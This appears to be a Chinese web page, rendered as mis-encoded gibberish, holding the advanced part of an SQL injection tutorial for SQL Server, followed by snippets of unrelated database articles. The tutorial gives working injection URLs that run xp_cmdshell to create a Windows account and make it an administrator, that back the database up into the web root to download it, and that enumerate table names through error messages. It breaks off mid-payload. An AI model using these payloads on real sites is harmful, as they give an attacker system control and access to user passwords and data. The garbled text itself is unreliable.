SQL×¢Èë©¶´È«½Ó´¥
¿´ÍêÈëÃÅÆªºÍ½ø½×ƪºó£¬ÉÔ¼ÓÁ·Ï°£¬ÆÆ½âÒ»°ãµÄÍøÕ¾ÊÇûÎÊÌâÁË¡£µ«Èç¹ûÅöµ½±íÃûÁÐÃû²Â²»µ½£¬»ò³ÌÐò×÷Õß¹ýÂËÁËÒ»Ð©ÌØÊâ×Ö·û£¬ÔõôÌá¸ß×¢ÈëµÄ³É¹¦ÂÊ£¿ÔõôÑùÌá¸ß²Â½âЧÂÊ£¿Çë´ó¼Ò½Ó×ÅÍùÏ¿´¸ß¼¶Æª¡£
µÚÒ»½Ú¡¢ÀûÓÃϵͳ±í×¢ÈëSQLServerÊý¾Ý¿â
SQLServerÊÇÒ»¸ö¹¦ÄÜÇ¿´óµÄÊý¾Ý¿âϵͳ£¬Óë²Ù×÷ϵͳҲÓнôÃܵÄÁªÏµ£¬Õâ¸ø¿ª·¢Õß´øÀ´Á˺ܴóµÄ·½±ã£¬µ«ÁíÒ»·½Ã棬ҲΪעÈëÕßÌṩÁËÒ»¸öÌø°å£¬ÎÒÃÇÏÈÀ´¿´¿´¼¸¸ö¾ßÌåµÄÀý×Ó£º
¢Ù http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
¡¡¡¡·ÖºÅ;ÔÚSQLServerÖбíʾ¸ô¿ªÇ°ºóÁ½¾äÓï¾ä£¬--±íʾºóÃæµÄÓï¾äΪעÊÍ£¬ËùÒÔ£¬Õâ¾äÓï¾äÔÚSQLServerÖн«±»·Ö³ÉÁ½¾äÖ´ÐУ¬ÏÈÊÇSelect³öID=1µÄ¼Ç¼£¬È»ºóÖ´Ðд洢¹ý³Ìxp_cmdshell£¬Õâ¸ö´æ´¢¹ý³ÌÓÃÓÚµ÷ÓÃϵͳÃüÁÓÚÊÇ£¬ÓÃnetÃüÁîн¨ÁËÓû§ÃûΪname¡¢ÃÜÂëΪpasswordµÄwindowsµÄÕʺţ¬½Ó×Å£º
¢Ú http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
¡¡¡¡½«Ð½¨µÄÕʺÅname¼ÓÈë¹ÜÀíÔ±×飬²»ÓÃÁ½·ÖÖÓ£¬ÄãÒѾÄõ½ÁËϵͳ×î¸ßȨÏÞ£¡µ±È»£¬ÕâÖÖ·½·¨Ö»ÊÊÓÃÓÚÓÃsaÁ¬½ÓÊý¾Ý¿âµÄÇé¿ö£¬·ñÔò£¬ÊÇûÓÐȨÏÞµ÷ÓÃxp_cmdshellµÄ¡£
¡¡¡¡¢Û http://Site/url.asp?id=1 ;;and db_name()>0
Ç°ÃæÓиöÀàËÆµÄÀý×Óand user>0£¬×÷ÓÃÊÇ»ñÈ¡Á¬½ÓÓû§Ãû£¬db_name()ÊÇÁíÒ»¸öϵͳ±äÁ¿£¬·µ»ØµÄÊÇÁ¬½ÓµÄÊý¾Ý¿âÃû¡£
¢Ü http://Site/url.asp?id=1;backup database Êý¾Ý¿âÃû to disk=’c:\inetpub\wwwroot\1.db’;--
ÕâÊÇÏ൱ºÝµÄÒ»ÕУ¬´Ó¢ÛÄõ½µÄÊý¾Ý¿âÃû£¬¼ÓÉÏijЩIIS³ö´í±©Â¶³öµÄ¾ø¶Ô·¾¶£¬½«Êý¾Ý¿â±¸·Ýµ½WebĿ¼ÏÂÃæ£¬ÔÙÓÃHTTP°ÑÕû¸öÊý¾Ý¿â¾ÍÍêÍêÕûÕûµÄÏÂÔØ»ØÀ´£¬ËùÓеĹÜÀíÔ±¼°Óû§ÃÜÂë¶¼Ò»ÀÀÎÞÒÅ£¡ÔÚ²»ÖªµÀ¾ø¶Ô·¾¶µÄʱºò£¬»¹¿ÉÒÔ±¸·Ýµ½ÍøÂçµØÖ·µÄ·½·¨£¨Èç\\202.96.xx.xx\Share\1.db£©£¬µ«³É¹¦Âʲ»¸ß¡£
¡¡¡¡¢Ý http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
Ç°ÃæËµ¹ý£¬sysobjectsÊÇSQLServerµÄϵͳ±í£¬´æ´¢×ÅËùÓеıíÃû¡¢ÊÓͼ¡¢Ô¼Êø¼°ÆäËü¶ÔÏó£¬xtype=’U’ and status>0£¬±íʾÓû§½¨Á¢µÄ±íÃû£¬ÉÏÃæµÄÓï¾ä½«µÚÒ»¸ö±íÃûÈ¡³ö£¬Óë0±È½Ï´óС£¬Èñ¨´íÐÅÏ¢°Ñ±íÃû±©Â¶³öÀ´¡£µÚ¶þ¡¢µÚÈý¸ö±íÃûÔõô»ñÈ¡£¿»¹ÊÇÁô¸øÎÒÃÇ´ÏÃ÷µÄ¶ÁÕß˼¿¼°É¡£
¢Þ http://Site/url.asp?id=1 ;;and (Select Top 1 col_na
Ïà¹ØÎĵµ£º
ÔÚSQLÓï¾äÓÅ»¯¹ý³ÌÖУ¬ÎÒÃǾ³£»áÓõ½hint,ÏÖ×ܽáÒ»ÏÂÔÚSQLÓÅ»¯¹ý³ÌÖг£¼ûOracle HINTµÄÓ÷¨£º
1. /*+ALL_ROWS*/
±íÃ÷¶ÔÓï¾ä¿éÑ¡Ôñ»ùÓÚ¿ªÏúµÄÓÅ»¯·½·¨,²¢»ñµÃ×î¼ÑÍÌÍÂÁ¿,ʹ×ÊÔ´ÏûºÄ×îС»¯.
ÀýÈç:
SELECT /*+ALL+_ROWS*/ EMP_NO,EMP_NAM,DAT_IN from BSEMPMS WHERE EMP_NO=’SCOTT’;
2. /*+FIRST_ROWS*/
±í ......
SQL SERVER¶¨Ê±×÷ÒµµÄÉèÖ÷½·¨
תÌù×Ô£º http://www.cnblogs.com/stephencat/archive/2006/08/24/484918.html
Èç¹ûÔÚSQL Server ÀïÐèÒª¶¨Ê±»òÕßÿ¸ôÒ»¶Îʱ¼äÖ´ÐÐij¸ö´æ´¢¹ý³Ì»ò3200×Ö·ûÒÔÄÚµÄSQLÓï¾äʱ,
¿ÉÒÔÓùÜÀí->SQL Server´úÀí->×÷ÒµÀ´ÊµÏÖ¡£
1¡¢¹ ......
½ñÌìÔÚµçÄÔÉϰ²×°ÁËVisual Studio 2005£¬ÀïÃæ×Ô´øÁËÒ»¸öSQL Server 2005 Express¡£°²×°Íê³ÉÖ®ºó½øÈëVS£¬Ð½¨Ò»¸öÊý¾Ý¿âÏîÄ¿£¬Ôړн¨Êý¾Ý¿âÒýÓÔһ²½Óöµ½ÁËÆæ¹ÖµÄÎÊÌâ¡£
ÔÚ·þÎñÆ÷ÃûµÄÏÂÀÁбíÀïÃæ£¬Í¨¹ýµã»÷“ˢД°´Å¥¿ÉÒÔÏÔʾµ±Ç°Í¨¹ýÍøÂç¿ÉÒÔÁ¬½Óµ½µÄÊý¾Ý¿âµÄÐÅÏ¢£¬ÆäÖÐÓÐÎÒµÄÖ÷»ú¡£È»¶ø£¬Ñ¡ÔñÁ ......
ÓÐÁ½ÖÖ·½·¨¡£
·½·¨Ò»£ºÔÚmysql>Ìáʾ·ûÖÐʹÓÃtee
mysql> tee output.txt
Logging to file 'output.txt'
mysql> notee
Outfile disabled.
»òÕß
mysql> \T output.txt
Logging to file 'output.txt'
mysql> \t
Outfile disabled.
Õâ¸öÀàËÆÓÚsqlplusµÄspool¹¦ÄÜ£¬¿ÉÒÔ½«ÃüÁîÐÐÖеĽá¹û±£´æµ½Í ......
¶¯Ì¬ÍøÒ³¿ª·¢——ASPÁ¬½ÓSQL2005Êý¾Ý¿â
˵Ã÷£ºa¡¢ÒÔÏÂ×Ö·ûÖÐÊý¾Ý¿âÃûforum£¬Êý¾Ý¿â·þÎñÆ÷ÃûWWW-2443D34E558\SQL2005£¨»òÕß127.0.0.1£©
b¡¢²é¿´sqlÊý¾Ý¿â·þÎñÆ÷Ãû³Æ£º¶ÔÏó×ÊÔ´¹ÜÀíÆ÷->Êý¾Ý¿â->ÓÒ¼üµã»÷×Ô¼º½¨µÄÊý¾Ý¿â->ÊôÐÔ->ȨÏÞ
c¡¢Provider=sqlncliÒ²¿ÉÒÔ,UIDÓë“=”Ö®¼ä²»¿ÉÒÔ ......